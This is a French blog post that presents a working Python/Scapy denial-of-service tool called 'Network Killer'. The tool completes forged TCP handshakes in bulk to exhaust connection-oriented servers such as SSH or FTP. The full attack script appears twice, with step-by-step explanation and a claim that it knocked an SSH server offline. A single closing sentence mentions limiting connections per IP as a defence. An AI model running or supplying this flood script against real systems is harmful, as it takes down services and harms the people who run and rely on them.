Deni de Service avancé : Socket Flood

Publié le par Satellite




Là, on rentre dans le vif du sujet. Le Socket flood est dévastateur, et est difficilement esquivable par des serveurs nécessitant de maintenir une connection avec leurs clients (serveurs FTP, SSH, IRC, SMTP...).
Le principe est simple : comme pour le SynFlood, on va inonder le serveur, mais cette fois, au lieu d'utiliser des demandes de connections, on va utiliser des connections complètes. Celà à pour effet de traverser les parefeux et les systemes anti SynFlood. En revanche, a moins que vous n'arriviez à prédire les numéros de sequence (ce qui est toujours faisable, mais avec beaucoup beaucoup de motivation), vous devrez agir de votre propre IP et non d'ip spoofées.  Passons au code :

Nous allons expedier une série de paquets SYN vers le serveur (en utilisant des ports differents), puis, a l'aide d'un Thread, nous allons récuperer les paquets SYN ACK qu'il nous envoie en retour,puis nous en extrairons les numéros de sequences et d'accusés pour envoyer le paquets ACK correspondant. Le serveur considèrera qu'une connection s'est établie alors que de notre coté, nous avons juste envoyé 3 paquets, laissant la mémoire de notre systeme libre (aucune socket n'est établie de notre coté).



class sniffer(Thread):
    def __init__(self,server,port):
        Thread.__init__(self)
        self.s = server
        self.p = port
        self.sn = 1
    def run(self):
        while self.sn:
            a = sniff(count = 1)[0]
            try:
                print str(a[TCP].flags) + ' ' + a[IP].src + ':' + str(a[TCP].sport) + ' - > ' + a[IP].dst + ':' + str(a[TCP].dport) + 'seq : ' + str(a[TCP].seq) + ' / ack : ' + str(a[TCP].ack)        
                if a[IP].src == self.s and a[TCP].flags == 18 and a[TCP].sport == int(self.p):
                    numSeq = a[TCP].ack
                    numAck = a[TCP].seq + 1
                    print 'Envoi de paquet à ' + a[IP].src + ' [Seq = ' + str(numSeq) + ', Ack = ' + str(numAck) + ']'
                    send(IP(dst = a[IP].src)/TCP(dport = a[TCP].sport,sport = a[TCP].dport,seq = numSeq, ack = numAck, flags = 'A'))

            except:
                pass

    def stop(self):
        self.sn = 0


             La fonction sniff() de scapy retourne une liste. Nous ne considererons que le premier (et unique) élement. Pour vérification, on affiche les ports de départ, d'arrivée, les numéros de sequences et autres, et si l'adresse ip source, le port source et les flags (SynAck = 18) correspondent, on forge un paquet ACK que l'on envoie en indiquant dans le champ "port source", le numero ecrit dans le champ "Port de destination" du paquet sniffé. Il est necessaire de faire hériter cette classe de Thread (threading.Thread), car cette tache doit agir parallèlement à l'envoi des paquets Syn. Le main est plutot banal :


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Syntaxe : !/.py target port nbConnections'
        exit(0)
    print '---- Début de l\'attaque ... '
    s = sys.argv[1]
    p = sys.argv[2] # p est un string, ne pas oublier de convertir en int !!
    nb = sys.argv[3]
    a = sniffer(s,p)
    a.start()
    i = 10000
    while i < 10000 + int(nb):
        send(IP(dst = s)/TCP(dport = int(p),sport = i,flags = 'S'))
        i = i + 1
    a.stop()
    print str(nb) + ' connections effectuées !'



Ainsi nous envoyons une série de paquets flagés Syn avec pour port source uniquement des ports supperieurs à 10000 (pour éviter les conflits avec d'autres eventuelles applications). Sinon le paquet est forgé simplement en indiquant l'ip source, le port de destination, le port source et les flags

Le résultat est donc banal en fin de compte :

#-*-coding:Utf-8-*-
from threading import Thread
import sys
from scapy.all import *

#-------------------------------------------------
#            Network Killer
#  By iZy_TeH_PariaH
#  Version : Python 2.6
#  OS : Ubuntu
#  21 aout 2009
#-------------------------------------------------


class sniffer(Thread):
    def __init__(self,server,port):
        Thread.__init__(self)
        self.s = server
        self.p = port
        self.sn = 1
    def run(self):
        while self.sn:
            a = sniff(count = 1)[0]
            try:
                print str(a[TCP].flags) + ' ' + a[IP].src + ':' + str(a[TCP].sport) + ' - > ' + a[IP].dst + ':' + str(a[TCP].dport) + 'seq : ' + str(a[TCP].seq) + ' / ack : ' + str(a[TCP].ack)        
                if a[IP].src == self.s and a[TCP].flags == 18 and a[TCP].sport == int(self.p):

                    numSeq = a[TCP].ack
                    numAck = a[TCP].seq + 1
                    print 'Envoi de paquet à ' + a[IP].src + ' [Seq = ' + str(numSeq) + ', Ack = ' + str(numAck) + ']'
                    send(IP(dst = a[IP].src)/TCP(dport = a[TCP].sport,sport = a[TCP].dport,seq = numSeq, ack = numAck, flags = 'A'))

            except:
                pass

    def stop(self):
        self.sn = 0
        
        
        
if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Syntaxe : !/.py target port nbConnections'
        exit(0)
    print '---- Début de l\'attaque ... '
    s = sys.argv[1]
    p = sys.argv[2] # p est un string, ne pas oublier de convertir en int !!
    nb = sys.argv[3]
    a = sniffer(s,p)
    a.start()
    i = 10000
    while i < 10000 + int(nb):
        send(IP(dst = s)/TCP(dport = int(p),sport = i,flags = 'S'))
        i = i + 1
    a.stop()
    print str(nb) + ' connections effectuées !'


Et pour prouver que le sock flood, ça marche, voici une capture d'écran : avant l'attaque la connection ssh marche, juste après l'attaque, le serveur ne répond plus. Il est cependant envisageable de limiter le nombre de connections a partir de la même IP afin de bloquer ce type d'attaque.


Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article